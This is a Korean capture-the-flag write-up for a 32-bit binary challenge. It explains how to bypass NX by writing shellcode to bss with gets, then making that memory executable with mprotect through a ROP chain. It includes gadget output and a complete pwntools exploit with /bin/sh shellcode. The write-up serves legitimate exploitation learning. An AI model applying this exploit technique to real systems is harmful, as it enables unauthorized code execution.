gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
NX bit가 걸려있고 쉘 딸 수 있는 함수가 없다. 기존에 풀던 방식인 execve 함수나 system함수를 이용하는 게 아닌 mprotect 함수를 이용한다.
mprotect 참고 자료 : https://hg2lee.tistory.com/entry/%EC%8B%9C%EC%8A%A4%ED%85%9C-mprotect-ROP
mprotect 함수가 강력한 이유는 NX bit 보호기법이 걸려있음에도 불구하고 bss 영역에 쉘코드를 저장해놓은 후, mprotect로 해당 주소를 접근해 실행 권한을 줄 수 있기 때문이다.
mprotect로 bss영역에 저장된 쉘코드를 실행시키려면 2가지 요소가 필요하다.
1. bss영역에 쉘코드를 저장할 수 있게 하는 동작 코드
2. 쉘코드를 저장한 bss 영역을 실행시킬 mprotect 함수를 위한 가젯
$ ROPgadget --binary ./lookatme | grep "ret"
...
0x080509d5 : xor eax, eax ; pop ebx ; pop edi ; ret
0x080681c0 : xor eax, eax ; pop edi ; ret
위 두 가젯을 각각 mprotect, gets 함수로 이용할 것이다.
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3017)
e = ELF('./lookatme')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
gets = e.symbols['gets']
mprotect = e.symbols['mprotect']
bss = e.bss()
bss_start = 0x80ea000
pr = 0x080681c0
pppr = 0x080509d5
payload = 'A' * 28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)
payload += p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
Point
1. 꼭 필요한 가젯들만 들어있지 않더라도 공격에 필요한 핵심 부분 "pop ebx ; pop edi ; ret"이 들어가있으므로 가젯으로 사용 가능하다.
2. x86 환경에서의 ROP는 x64와 달리 가젯을 사용할 때 인자를 순서대로 넣는다.